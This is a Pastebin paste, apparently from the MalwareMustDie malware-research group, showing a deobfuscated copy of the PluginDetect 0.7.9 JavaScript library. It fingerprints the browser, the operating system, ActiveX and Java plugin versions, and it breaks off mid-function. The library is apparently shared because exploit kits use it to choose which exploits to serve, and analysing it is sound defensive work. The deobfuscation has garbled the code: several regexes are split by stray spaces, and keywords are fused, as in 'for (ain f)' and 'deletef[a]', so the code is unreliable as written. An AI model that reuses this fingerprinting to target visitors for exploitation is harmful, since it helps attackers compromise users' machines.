SHARE
TWEET

#MalwareMustDie - DeObfs PluginDetect 0.7.9. Dec 22,2012

MalwareMustDie Dec 22nd, 2012 154 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  var PluginDetect =
  2.  {
  3.    version : "0.7.9", name : "PluginDetect", handler : function (c, b, a)
  4.    {
  5.      return function ()
  6.      {
  7.        c(b, a)
  8.      }
  9.    }
  10.    , openTag : "<", isDefined : function (b)
  11.    {
  12.      return typeof b != "undefined"
  13.    }
  14.    , isArray : function (b)
  15.    {
  16.      return (/array/i).test(Object.prototype.toString.call(b))
  17.    }
  18.    , isFunc : function (b)
  19.    {
  20.      return typeof b == "function"
  21.    }
  22.    , isString : function (b)
  23.    {
  24.      return typeof b == "string"
  25.    }
  26.    , isNum : function (b)
  27.    {
  28.      return typeof b == "number"
  29.    }
  30.    , isStrNum : function (b)
  31.    {
  32.      return (typeof b == "string" && (/\d/).test(b))
  33.    }
  34.    , getNumRegx :/ [ \ d][ \ d \ . \ _ ,- ] */, splitNumRegx :/ [ \ . \ _ ,- ] / g, getNum :
  35.    function (b, c)
  36.    {
  37.      var d = this , a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).
  38.      exec(b) : null;
  39.      return a ? a[0] : null
  40.    }
  41.    , compareNums : function (h, f, d)
  42.    {
  43.      var e = this , c, b, a, g = parseInt;
  44.      if (e.isStrNum(h) && e.isStrNum(f))
  45.      {
  46.        if (e.isDefined(d) && d.compareNums)
  47.        {
  48.          return d.compareNums(h, f)
  49.        }
  50.        c = h.split(e.splitNumRegx);
  51.        b = f.split(e.splitNumRegx);
  52.        for (a = 0; a < Math.min(c.length, b.length);
  53.        a ++ )
  54.        {
  55.          if (g(c[a], 10) > g(b[a], 10))
  56.          {
  57.            return 1
  58.          }
  59.          if (g(c[a], 10) < g(b[a], 10))
  60.          {
  61.            return  - 1
  62.          }
  63.        }
  64.      }
  65.      return 0
  66.    }
  67.    , formatNum : function (b, c)
  68.    {
  69.      var d = this , a, e;
  70.      if (!d.isStrNum(b))
  71.      {
  72.        return null
  73.      }
  74.      if (!d.isNum(c))
  75.      {
  76.        c = 4
  77.      }
  78.      c--;
  79.      e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  80.      for (a = 0; a < 4; a ++ )
  81.      {
  82.        if (/^(0+)(.+)$/.test(e[a]))
  83.        {
  84.          e[a] = RegExp.$2
  85.        }
  86.        if (a > c ||! (/\d/).test(e[a]))
  87.        {
  88.          e[a] = "0"
  89.        }
  90.      }
  91.      return e.slice(0, 4).join(",")
  92.    }
  93.    , $$hasMimeType : function (a)
  94.    {
  95.      return function (c)
  96.      {
  97.        if (!a.isIE && c)
  98.        {
  99.          var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
  100.          for (b = 0; b < d.length; b ++ )
  101.          {
  102.            if (a.isString(d[b]) &&/ [ ^\ s] / .test(d[b]))
  103.            {
  104.              f = navigator.mimeTypes[d[b]];
  105.              e = f ? f.enabledPlugin : 0;
  106.              if (e && (e.name || e.description))
  107.              {
  108.                return f
  109.              }
  110.            }
  111.          }
  112.        }
  113.        return null
  114.      }
  115.    }
  116.    , findNavPlugin : function (l, e, c)
  117.    {
  118.      var j = this , h = new RegExp(l, "i"), d = (!j.isDefined(e) || e) ?/\ d /: 0, k = c ? new RegExp(c, "i") : 0, a = navigator.plugins, g = "", f, b, m;
  119.      for (f = 0; f < a.length; f ++ )
  120.      {
  121.        m = a[f].description || g;
  122.        b = a[f].name || g;
  123.        if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))))
  124.        {
  125.          if (!k ||! (k.test(m) || k.test(b)))
  126.          {
  127.            return a[f]
  128.          }
  129.        }
  130.      }
  131.      return null
  132.    }
  133.    , getMimeEnabledPlugin : function (k, m, c)
  134.    {
  135.      var e = this , f, b = new RegExp(m, "i"), h = "", g = c ? new RegExp(c, "i") : 0, a, l
  136.      , d, j = e.isString(k) ? [k] : k;
  137.      for (d = 0; d < j.length; d ++ )
  138.      {
  139.        if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin))
  140.        {
  141.          l = f.description || h;
  142.          a = f.name || h;
  143.          if (b.test(l) || b.test(a))
  144.          {
  145.            if (!g ||! (g.test(l) || g.test(a)))
  146.            {
  147.              return f
  148.            }
  149.          }
  150.        }
  151.      }
  152.      return 0
  153.    }
  154.    , getPluginFileVersion : function (f, b)
  155.    {
  156.      var h = this , e, d, g, a, c =- 1;
  157.      if (h.OS > 2 ||! f ||! f.version ||! (e = h.getNum(f.version)))
  158.      {
  159.        return b
  160.      }
  161.      if (!b)
  162.      {
  163.        return e
  164.      }
  165.      e = h.formatNum(e);
  166.      b = h.formatNum(b);
  167.      d = b.split(h.splitNumRegx);
  168.      g = e.split(h.splitNumRegx);
  169.      for (a = 0; a < d.length; a ++ )
  170.      {
  171.        if ( - 1 < c && c < a &&! (d[a] == "0"))
  172.        {
  173.          return b
  174.        }
  175.        if (g[a] != d[a])
  176.        {
  177.          if (c ==- 1)
  178.          {
  179.            c = a
  180.          }
  181.          if (d[a] != "0")
  182.          {
  183.            return b
  184.          }
  185.        }
  186.      }
  187.      return e
  188.    }
  189.    , AXO : window.ActiveXObject, getAXO : function (a)
  190.    {
  191.      var f = null, d, b = this , c =
  192.      {
  193.      };
  194.      try
  195.      {
  196.        f = new b.AXO(a)
  197.      }
  198.      catch (d)
  199.      {
  200.      }
  201.      return f
  202.    }
  203.    , convertFuncs : function (f)
  204.    {
  205.      var a, g, d, b =/^ [ \ $][ \ $] /, c = this ;
  206.      for (ain f)
  207.      {
  208.        if (b.test(a))
  209.        {
  210.          try
  211.          {
  212.            g = a.slice(2);
  213.            if (g.length > 0 &&! f[g])
  214.            {
  215.              f[g] = f[a](f);
  216.              deletef[a]
  217.            }
  218.          }
  219.          catch (d)
  220.          {
  221.          }
  222.        }
  223.      }
  224.    }
  225.    , initObj : function (e, b, d)
  226.    {
  227.      var a, c;
  228.      if (e)
  229.      {
  230.        if (e[b[0]] == 1 || d)
  231.        {
  232.          for (a = 0; a < b.length; a = a + 2)
  233.          {
  234.            e[b[a]] = b[a + 1]
  235.          }
  236.        }
  237.        for (ain e)
  238.        {
  239.          c = e[a];
  240.          if (c && c[b[0]] == 1)
  241.          {
  242.            this .initObj(c, b)
  243.          }
  244.        }
  245.      }
  246.    }
  247.    , initScript : function ()
  248.    {
  249.      var d = this , a = navigator, h, i = document, l = a.userAgent || "", j = a.vendor ||
  250.      "", b = a.platform || "", k = a.product || "";
  251.      d.initObj(d, ["$", d]);
  252.      for (hin d.Plugins)
  253.      {
  254.        if (d.Plugins[h])
  255.        {
  256.          d.initObj(d.Plugins[h], ["$", d, "$$", d.Plugins[h]], 1)
  257.        }
  258.      }
  259.      d.convertFuncs(d);
  260.      d.OS = 100;
  261.      if (b)
  262.      {
  263.        var g = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2,
  264.        "iPad", 21.3, "Win." + "*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "",
  265.        100];
  266.        for (h = g.length - 2; h >= 0; h = h - 2)
  267.        {
  268.          if (g[h] && new RegExp(g[h], "i").test(b))
  269.          {
  270.            d.OS = g[h + 1];
  271.            break
  272.          }
  273.        }
  274.      };
  275.      d.head = i.getElementsByTagName("head")[0] || i.getElementsByTagName("body")[0] || i.
  276.      body || null;
  277.      d.isIE = new Function("return/*@cc_on!@*/!1")();
  278.      d.verIE = d.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(l) ? parseFloat(RegExp.$1, 10) : null;
  279.      d.ActiveXEnabled = false;
  280.      if (d.isIE)
  281.      {
  282.        var h, m = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM",
  283.        "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper",
  284.        "Scripting.Dictionary", "wmplayer.ocx"];
  285.        for (h = 0; h < m.length; h ++ )
  286.        {
  287.          if (d.getAXO(m[h]))
  288.          {
  289.            d.ActiveXEnabled = true;
  290.            break
  291.          }
  292.        }
  293.      };
  294.      d.isGecko = (/Gecko\s*\/\s*\d/i).test(l) && (/Gecko/i).test(k);
  295.      d.verGecko = d.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l) ? RegExp.$1 :
  296.      "0.9") : null;
  297.      d.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);
  298.      d.verChrome = d.isChrome ? d.formatNum(RegExp.$1) : null;
  299.      d.isSafari = ((/Apple/i).test(j) || (!j &&! d.isChrome)) && (
  300.      /Safari\s*\/\s*(\d[\d\.]*)/i).test(l);
  301.      d.verSafari = d.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(l) ? d.formatNum(
  302.      RegExp.$1) : null;
  303.      d.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);
  304.      d.verOpera = d.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(l) || 1) ? parseFloat(
  305.      RegExp.$1, 10) : null;
  306.      d.addWinEvent("load", d.handler(d.runWLfuncs, d))
  307.    }
  308.    , init : function (d)
  309.    {
  310.      var c = this , b, d, a =
  311.      {
  312.        status :- 3, plugin : 0
  313.      };
  314.      if (!c.isString(d))
  315.      {
  316.        return a
  317.      }
  318.      if (d.length == 1)
  319.      {
  320.        c.getVersionDelimiter = d;
  321.        return a
  322.      }
  323.      d = d.toLowerCase().replace(/\s/g, "");
  324.      b = c.Plugins[d];
  325.      if (!b ||! b.getVersion)
  326.      {
  327.        return a
  328.      }
  329.      a.plugin = b;
  330.      if (!c.isDefined(b.installed))
  331.      {
  332.        b.installed = null;
  333.        b.version = null;
  334.        b.version0 = null;
  335.        b.getVersionDone = null;
  336.        b.pluginName = d
  337.      }
  338.      c.garbage = false;
  339.      if (c.isIE &&! c.ActiveXEnabled && d !== "Ja" + "va")
  340.      {
  341.        a.status =- 2;
  342.        return a
  343.      }
  344.      a.status = 1;
  345.      return a
  346.    }
  347.    , fPush : function (b, a)
  348.    {
  349.      var c = this ;
  350.      if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && c.isFunc(b[0]) && 0 < b.length
  351.      )))
  352.      {
  353.        a.push(b)
  354.      }
  355.    }
  356.    , callArray : function (b)
  357.    {
  358.      var c = this , a;
  359.      if (c.isArray(b))
  360.      {
  361.        for (a = 0; a < b.length; a ++ )
  362.        {
  363.          if (b[a] === null)
  364.          {
  365.            return
  366.          }
  367.          c.call(b[a]);
  368.          b[a] = null
  369.        }
  370.      }
  371.    }
  372.    , call : function (c)
  373.    {
  374.      var b = this , a = b.isArray(c) ? c.length :- 1;
  375.      if (0 < a && b.isFunc(c[0]))
  376.      {
  377.        c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  378.      }
  379.      else
  380.      {
  381.        if (b.isFunc(c))
  382.        {
  383.          c(b)
  384.        }
  385.      }
  386.    }
  387.    , $$isMinVersion : function (a)
  388.    {
  389.      return function (h, g, d, c)
  390.      {
  391.        var e = a.init(h), f, b =- 1, j =
  392.        {
  393.        };
  394.        if (e.status < 0)
  395.        {
  396.          return e.status
  397.        }
  398.        f = e.plugin;
  399.        g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "0"));
  400.        if (f.getVersionDone != 1)
  401.        {
  402.          f.getVersion(g, d, c);
  403.          if (f.getVersionDone === null)
  404.          {
  405.            f.getVersionDone = 1
  406.          }
  407.        }
  408.        a.cleanup();
  409.        if (f.installed !== null)
  410.        {
  411.          b = f.installed <= 0.5 ? f.installed : (f.installed == 0.7 ? 1 : (f.version ===
  412.          null         ? 0 : (a.compareNums(f.version, g, f) >= 0 ? 1 :- 0.1)))
  413.        };
  414.        return b
  415.      }
  416.    }
  417.    , getVersionDelimiter : ",", $$getVersion : function (a)
  418.    {
  419.      return function (g, d, c)
  420.      {
  421.        var e = a.init(g), f, b, h =
  422.        {
  423.        };
  424.        if (e.status < 0)
  425.        {
  426.          return null
  427.        };
  428.        f = e.plugin;
  429.        if (f.getVersionDone != 1)
  430.        {
  431.          f.getVersion(null, d, c);
  432.          if (f.getVersionDone === null)
  433.          {
  434.            f.getVersionDone = 1
  435.          }
  436.        }
  437.        a.cleanup();
  438.        b = (f.version || f.version0);
  439.        b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  440.        return b
  441.      }
  442.    }
  443.    , cleanup : function ()
  444.    {
  445.      var a = this ;
  446.      if (a.garbage && a.isDefined(window.CollectGarbage))
  447.      {
  448.        window.CollectGarbage()
  449.      }
  450.    }
  451.    , addWinEvent : function (d, c)
  452.    {
  453.      var e = this , a = window, b;
  454.      if (e.isFunc(c))
  455.      {
  456.        if (a.addEventListener)
  457.        {
  458.          a.addEventListener(d, c, false)
  459.        }
  460.        else
  461.        {
  462.          if (a.attachEvent)
  463.          {
  464.            a.attachEvent("on" + d, c)
  465.          }
  466.          else
  467.          {
  468.            b = a["on" + d];
  469.            a["on" + d] = e.winHandler(c, b)
  470.          }
  471.        }
  472.      }
  473.    }
  474.    , winHandler : function (d, c)
  475.    {
  476.      return function ()
  477.      {
  478.        d();
  479.        if (typeof c == "function")
  480.        {
  481.          c()
  482.        }
  483.      }
  484.    }
  485.    , WLfuncs0 : [], WLfuncs : [], runWLfuncs : function (a)
  486.    {
  487.      var b =
  488.      {
  489.      };
  490.      a.winLoaded = true;
  491.      a.callArray(a.WLfuncs0);
  492.      a.callArray(a.WLfuncs);
  493.      if (a.onDoneEmptyDiv)
  494.      {
  495.        a.onDoneEmptyDiv()
  496.      }
  497.    }
  498.    , winLoaded : false, $$onWindowLoaded : function (a)
  499.    {
  500.      return function (b)
  501.      {
  502.        if (a.winLoaded)
  503.        {
  504.          a.call(b)
  505.        }
  506.        else
  507.        {
  508.          a.fPush(b, a.WLfuncs)
  509.        }
  510.      }
  511.    }
  512.    , $$onDetectionDone : function (a)
  513.    {
  514.      return function (h, g, c, b)
  515.      {
  516.        var d = a.init(h), k, e, j =
  517.        {
  518.        };
  519.        if (d.status ==- 3)
  520.        {
  521.          return  - 1
  522.        }
  523.        e = d.plugin;
  524.        if (!a.isArray(e.funcs))
  525.        {
  526.          e.funcs = []
  527.        }
  528.        if (e.getVersionDone != 1)
  529.        {
  530.          k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b)
  531.        }
  532.        if (e.installed !=- 0.5 && e.installed != 0.5)
  533.        {
  534.          a.call(g);
  535.          return 1
  536.        }
  537.        if (e.NOTF)
  538.        {
  539.          a.fPush(g, e.funcs);
  540.          return 0
  541.        }
  542.        return 1
  543.      }
  544.    }
  545.    , div : null, divID : "plugindetect", divWidth : 50, pluginSize : 1, emptyDiv : function
  546.    ()
  547.    {
  548.      var d = this , b, h, c, a, f, g;
  549.      if (d.div && d.div.childNodes)
  550.      {
  551.        for (b = d.div.childNodes.length - 1; b >= 0; b -- )
  552.        {
  553.          c = d.div.childNodes[b];
  554.          if (c && c.childNodes)
  555.          {
  556.            for (h = c.childNodes.length - 1; h >= 0; h -- )
  557.            {
  558.              g = c.childNodes[h];
  559.              try
  560.              {
  561.                c.removeChild(g)
  562.              }
  563.              catch (f)
  564.              {
  565.              }
  566.            }
  567.          }
  568.          if (c)
  569.          {
  570.            try
  571.            {
  572.              d.div.removeChild(c)
  573.            }
  574.            catch (f)
  575.            {
  576.            }
  577.          }
  578.        }
  579.      }
  580.      if (!d.div)
  581.      {
  582.        a = document.getElementById(d.divID);
  583.        if (a)
  584.        {
  585.          d.div = a
  586.        }
  587.      }
  588.      if (d.div && d.div.parentNode)
  589.      {
  590.        try
  591.        {
  592.          d.div.parentNode.removeChild(d.div)
  593.        }
  594.        catch (f)
  595.        {
  596.        }
  597.        d.div = null
  598.      }
  599.    }
  600.    , DONEfuncs : [], onDoneEmptyDiv : function ()
  601.    {
  602.      var c = this , a, b;
  603.      if (!c.winLoaded)
  604.      {
  605.        return
  606.      }
  607.      if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null)
  608.      {
  609.        return
  610.      }
  611.      for (ain c)
  612.      {
  613.        b = c[a];
  614.        if (b && b.funcs)
  615.        {
  616.          if (b.OTF == 3)
  617.          {
  618.            return
  619.          }
  620.          if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null)
  621.          {
  622.            return
  623.          }
  624.        }
  625.      }
  626.      for (a = 0; a < c.DONEfuncs.length; a ++ )
  627.      {
  628.        c.callArray(c.DONEfuncs)
  629.      }
  630.      c.emptyDiv()
  631.    }
  632.    , getWidth : function (c)
  633.    {
  634.      if (c)
  635.      {
  636.        var a = c.scrollWidth || c.offsetWidth, b = this ;
  637.        if (b.isNum(a))
  638.        {
  639.          return a
  640.        }
  641.      }
  642.      return  - 1
  643.    }
  644.    , getTagStatus : function (m, g, a, b)
  645.    {
  646.      var c = this , f, k = m.span, l = c.getWidth(k), h = a.span, j = c.getWidth(h), d = g.
  647.      span, i = c.getWidth(d);
  648.      if (!k ||! h ||! d ||! c.getDOMobj(m))
  649.      {
  650.        return  - 2
  651.      }
  652.      if (j < i || 0 > l || 0 > j || 0 > i || i <= c.pluginSize || c.pluginSize < 1)
  653.      {
  654.        return 0
  655.      }
  656.      if (l >= i)
  657.      {
  658.        return  - 1
  659.      }
  660.      try
  661.      {
  662.        if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4))
  663.        {
  664.          if (!m.winLoaded && c.winLoaded)
  665.          {
  666.            return 1
  667.          }
  668.          if (m.winLoaded && c.isNum(b))
  669.          {
  670.            if (!c.isNum(m.count))
  671.            {
  672.              m.count = b
  673.            }
  674.            if (b - m.count >= 10)
  675.            {
  676.              return 1
  677.            }
  678.          }
  679.        }
  680.      }
  681.      catch (f)
  682.      {
  683.      }
  684.      return 0
  685.    }
  686.    , getDOMobj : function (g, a)
  687.    {
  688.      var f, d = this , c = g ? g.span : 0, b = c && c.firstChild ? 1 : 0;
  689.      try
  690.      {
  691.        if (b && a)
  692.        {
  693.          d.div.focus()
  694.        }
  695.      }
  696.      catch (f)
  697.      {
  698.      }
  699.      return b ? c.firstChild : null
  700.    }
  701.    , setStyle : function (b, g)
  702.    {
  703.      var f = b.style, a, d, c = this ;
  704.      if (f && g)
  705.      {
  706.        for (a = 0; a < g.length; a = a + 2)
  707.        {
  708.          try
  709.          {
  710.            f[g[a]] = g[a + 1]
  711.          }
  712.          catch (d)
  713.          {
  714.          }
  715.        }
  716.      }
  717.    }
  718.    , insertDivInBody : function (i, g)
  719.    {
  720.      var f, c = this , h = "pd33993399", b = null, d = g ? window.top.document : window.
  721.      document, a = d.getElementsByTagName("body")[0] || d.body;
  722.      if (!a)
  723.      {
  724.        try
  725.        {
  726.          d.write('<div id="' + h + '">.' + c.openTag + "/div>");
  727.          b = d.getElementById(h)
  728.        }
  729.        catch (f)
  730.        {
  731.        }
  732.      }
  733.      a = d.getElementsByTagName("body")[0] || d.body;
  734.      if (a)
  735.      {
  736.        a.insertBefore(i, a.firstChild);
  737.        if (b)
  738.        {
  739.          a.removeChild(b)
  740.        }
  741.      }
  742.    }
  743.    , insertHTML : function (f, b, g, a, k)
  744.    {
  745.      var l, m = document, j = this , p, o = m.createElement("span"), n, i;
  746.      var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin",
  747.      "0px", "visibility", "visible"];
  748.      var h =
  749.      "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  750.      if (!j.isDefined(a))
  751.      {
  752.        a = ""
  753.      }
  754.      if (j.isString(f) && (/[^\s]/).test(f))
  755.      {
  756.        f = f.toLowerCase().replace(/\s/g, "");
  757.        p = j.openTag + f + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
  758.        p += 'style="' + h + 'display:inline;" ';
  759.        for (n = 0; n < b.length; n = n + 2)
  760.        {
  761.          if (/[^\s]/.test(b[n + 1]))
  762.          {
  763.            p += b[n] + '="' + b[n + 1] + '" '
  764.          }
  765.        }
  766.        p += ">";
  767.        for (n = 0; n < g.length; n = n + 2)
  768.        {
  769.          if (/[^\s]/.test(g[n + 1]))
  770.          {
  771.            p += j.openTag + 'param name="' + g[n] + '" value="' + g[n + 1] + '" />'
  772.          }
  773.        }
  774.        p += a + j.openTag + "/" + f + ">"
  775.      }
  776.      else
  777.      {
  778.        p = a
  779.      }
  780.      if (!j.div)
  781.      {
  782.        i = m.getElementById(j.divID);
  783.        if (i)
  784.        {
  785.          j.div = i
  786.        }
  787.        else
  788.        {
  789.          j.div = m.createElement("div");
  790.          j.div.id = j.divID
  791.        }
  792.        j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3)
  793.        + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) +
  794.        "px", "verticalAlign", "baseline", "display", "block"]));
  795.        if (!i)
  796.        {
  797.          j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  798.          j.insertDivInBody(j.div)
  799.        }
  800.      }
  801.      if (j.div && j.div.parentNode)
  802.      {
  803.        j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.
  804.        pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  805.        try
  806.        {
  807.          o.innerHTML = p
  808.        }
  809.        catch (l)
  810.        {
  811.        };
  812.        try
  813.        {
  814.          j.div.appendChild(o)
  815.        }
  816.        catch (l)
  817.        {
  818.        };
  819.        return
  820.        {
  821.          span : o, winLoaded : j.winLoaded, tagName : f, outerHTML : p
  822.        }
  823.      }
  824.      return
  825.      {
  826.        span : null, winLoaded : j.winLoaded, tagName : "", outerHTML : p
  827.      }
  828.    }
  829.    , file :
  830.    {
  831.      $ : 1, any : "fileStorageAny999", valid : "fileStorageValid999", save : function (d, f
  832.      , c)
  833.      {
  834.        var b = this , e = b.$, a;
  835.        if (d && e.isDefined(c))
  836.        {
  837.          if (!d[b.any])
  838.          {
  839.            d[b.any] = []
  840.          }
  841.          if (!d[b.valid])
  842.          {
  843.            d[b.valid] = []
  844.          }
  845.          d[b.any].push(c);
  846.          a = b.split(f, c);
  847.          if (a)
  848.          {
  849.            d[b.valid].push(a)
  850.          }
  851.        }
  852.      }
  853.      , getValidLength : function (a)
  854.      {
  855.        return a && a[this .valid] ? a[this .valid].length : 0
  856.      }
  857.      , getAnyLength : function (a)
  858.      {
  859.        return a && a[this .any] ? a[this .any].length : 0
  860.      }
  861.      , getValid : function (c, a)
  862.      {
  863.        var b = this ;
  864.        return c && c[b.valid] ? b.get(c[b.valid], a) : null
  865.      }
  866.      , getAny : function (c, a)
  867.      {
  868.        var b = this ;
  869.        return c && c[b.any] ? b.get(c[b.any], a) : null
  870.      }
  871.      , get : function (d, a)
  872.      {
  873.        var c = d.length - 1, b = this .$.isNum(a) ? a : c;
  874.        return (0 > b || b > c) ? null : d[b]
  875.      }
  876.      , split : function (g, c)
  877.      {
  878.        var b = this , e = b.$, f = null, a, d;
  879.        g = g ? g.replace(".", "\.") : "";
  880.        d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
  881.        if (e.isString(c) && d.test(c))
  882.        {
  883.          a = (RegExp.$1).split("/");
  884.          f =
  885.          {
  886.            name : a[a.length - 1], ext : RegExp.$2, full : c
  887.          };
  888.          a[a.length - 1] = "";
  889.          f.path = a.join("/")
  890.        }
  891.        return f
  892.      }
  893.      , z : 0
  894.    }
  895.    , Plugins :
  896.    {
  897.      java :
  898.      {
  899.        mimeType : ["application/x-java-applet", "application/x-java-vm",
  900.        "application/x-java-bean"], classID : "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  901.        navigator :
  902.        {
  903.          a : window.navigator.javaEnabled(), javaEnabled : function ()
  904.          {
  905.            return this .a
  906.          }
  907.          , mimeObj : 0, pluginObj : 0
  908.        }
  909.        , OTF : null, minIEver : 7, debug : 0, debugEnable : function ()
  910.        {
  911.          var a = this , b = a.$;
  912.          a.debug = 1
  913.        }
  914.        , isDisabled :
  915.        {
  916.          $ : 1, DTK : function ()
  917.          {
  918.            var a = this , c = a.$, b = a.$$;
  919.            if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.
  920.            isSafari && c.OS == 1 && (!c.verSafari || 0 > c.compareNums(c.verSafari,
  921.            "5,1,0,0"))) || c.isChrome || (c.isIE &&! c.ActiveXEnabled))
  922.            {
  923.              return 1
  924.            }
  925.            return 0
  926.          }
  927.          , AXO : function ()
  928.          {
  929.            var a = this , c = a.$, b = a.$$;
  930.            return (!c.isIE ||! c.ActiveXEnabled || (!b.debug && b.DTK.query().status !== 0
  931.            ))
  932.          }
  933.          , navMime : function ()
  934.          {
  935.            var b = this , d = b.$, c = b.$$, a = c.navigator;
  936.            if (d.isIE ||! a.mimeObj ||! a.pluginObj)
  937.            {
  938.              return 1
  939.            }
  940.            return 0
  941.          }
  942.          , navPlugin : function ()
  943.          {
  944.            var b = this , d = b.$, c = b.$$, a = c.navigator;
  945.            if (d.isIE ||! a.mimeObj ||! a.pluginObj)
  946.            {
  947.              return 1
  948.            }
  949.            return 0
  950.          }
  951.          , windowDotJava : function ()
  952.          {
  953.            var a = this , c = a.$, b = a.$$;
  954.            if (!window.java)
  955.            {
  956.              return 1
  957.            }
  958.            if (c.OS == 2 && c.verOpera > 8 && c.verOpera && c.verOpera < (9.3 - 0.1))
  959.            {
  960.              return 1
  961.            }
  962.            return 0
  963.          }
  964.          , allApplets : function ()
  965.          {
  966.            var b = this , d = b.$, c = b.$$, a = c.navigator;
  967.            if (d.OS >= 20)
  968.            {
  969.              return 0
  970.            }
  971.            if (d.verOpera && d.verOpera < 11 &&! a.javaEnabled() &&! c.lang.System.
  972.            getProperty()[0])
  973.            {
  974.              return 1
  975.            }
  976.            if ((d.verGecko && 0 > d.compareNums(d.verGecko, d.formatNum("2"))) &&! a.
  977.            mimeObj &&! c.lang.System.getProperty()[0])
  978.            {
  979.              return 1
  980.            }
  981.            return 0
  982.          }
  983.          , AppletTag : function ()
  984.          {
  985.            var b = this , d = b.$, c = b.$$, a = c.navigator;
  986.            return d.isIE ?! a.javaEnabled() : 0
  987.          }
  988.          , ObjectTag : function ()
  989.          {
  990.            var a = this , c = a.$, b = a.$$;
  991.            return c.isIE ?! c.ActiveXEnabled : 0
  992.          }
  993.          , z : 0
  994.        }
  995.        , getVerifyTagsDefault : function ()
  996.        {
  997.          var a = this , c = a.$, b = [1, 0, 1];
  998.          if (c.OS >= 20)
  999.          {
  1000.            return b
  1001.          }
  1002.          if ((c.isIE && (c.verIE < 9 ||! c.ActiveXEnabled)) || (c.verGecko && 0 > c.
  1003.          compareNums(c.verGecko, c.formatNum("2"))) || (c.isSafari && (!c.verSafari || 0 >
  1004.          c.compareNums(c.verSafari, c.formatNum("4")))) || (c.verOpera && c.verOpera < 10
  1005.          ))
  1006.          {
  1007.            b = [1, 1, 1]
  1008.          }
  1009.          return b
  1010.        }
  1011.        , getVersion : function (j, g, i)
  1012.        {
  1013.          var b = this , d = b.$, e, a = b.applet, h = b.verify, k = b.navigator, f = null,
  1014.          l = null, c = null;
  1015.          if (b.getVersionDone === null)
  1016.          {
  1017.            b.OTF = 0;
  1018.            k.mimeObj = d.hasMimeType(b.mimeType);
  1019.            if (k.mimeObj)
  1020.            {
  1021.              k.pluginObj = k.mimeObj.enabledPlugin
  1022.            }
  1023.            if (h)
  1024.            {
  1025.              h.begin()
  1026.            }
  1027.          }
  1028.          a.setVerifyTagsArray(i);
  1029.          d.file.save(b, ".jar", g);
  1030.          if (b.getVersionDone === 0)
  1031.          {
  1032.            if (a.should_Insert_Query_Any())
  1033.            {
  1034.              e = a.insert_Query_Any();
  1035.              b.setPluginStatus(e[0], e[1], f)
  1036.            }
  1037.            return
  1038.          }
  1039.          if ((!f || b.debug) && b.DTK.query().version)
  1040.          {
  1041.            f = b.DTK.version
  1042.          }
  1043.          if ((!f || b.debug) && b.navMime.query().version)
  1044.          {
  1045.            f = b.navMime.version
  1046.          }
  1047.          if ((!f || b.debug) && b.navPlugin.query().version)
  1048.          {
  1049.            f = b.navPlugin.version
  1050.          }
  1051.          if ((!f || b.debug) && b.AXO.query().version)
  1052.          {
  1053.            f = b.AXO.version
  1054.          }
  1055.          if (b.nonAppletDetectionOk(f))
  1056.          {
  1057.            c = f
  1058.          }
  1059.          if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5))
  1060.          {
  1061.            e = b.lang.System.getProperty();
  1062.            if (e[0])
  1063.            {
  1064.              f = e[0];
  1065.              c = e[0];
  1066.              l = e[1]
  1067.            }
  1068.          }
  1069.          b.setPluginStatus(c, l, f);
  1070.          if (a.should_Insert_Query_Any())
  1071.          {
  1072.            e = a.insert_Query_Any();
  1073.            if (e[0])
  1074.            {
  1075.              c = e[0];
  1076.              l = e[1]
  1077.            }
  1078.          }
  1079.          b.setPluginStatus(c, l, f)
  1080.        }
  1081.        , nonAppletDetectionOk : function (b)
  1082.        {
  1083.          var d = this , e = d.$, a = d.navigator, c = 1;
  1084.          if (!b || (!a.javaEnabled() &&! d.lang.System.getPropertyHas(b)) || (!e.isIE &&! a
  1085.          .mimeObj &&! d.lang.System.getPropertyHas(b)) || (e.isIE &&! e.ActiveXEnabled))
  1086.          {
  1087.            c = 0
  1088.          }
  1089.          else
  1090.          {
  1091.            if (e.OS >= 20)
